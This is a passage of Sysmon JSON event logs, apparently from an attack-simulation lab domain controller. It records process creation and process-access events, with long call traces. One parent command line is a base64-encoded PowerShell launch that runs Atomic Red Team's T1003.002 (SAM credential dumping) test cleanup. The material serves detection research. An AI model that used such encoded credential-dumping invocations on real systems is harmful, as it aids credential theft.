MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4173-5F2D-0000-0010ABA40800}\r\nParentProcessId: 2512\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.532","ProcessGuid":"{90617006-4174-5F2D-0000-00104AC80800}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c \"\" ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4173-5F2D-0000-0010ABA40800}","ParentProcessId":"2512","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5814,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nSourceProcessId: 2512\r\nSourceThreadId: 5112\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-00104AC80800}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efc68|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efadc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c572308|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e86c4|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa1667|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e4806|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c51d996","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","SourceProcessId":"2512","SourceThreadId":"5112","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-00104AC80800}","TargetProcessId":"3852","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efc68|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efadc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c572308|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e86c4|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa1667|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e4806|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c51d996","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5815,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-00104AC80800}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-00104AC80800}","TargetProcessId":"3852","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5816,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5817,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5818,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5819,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 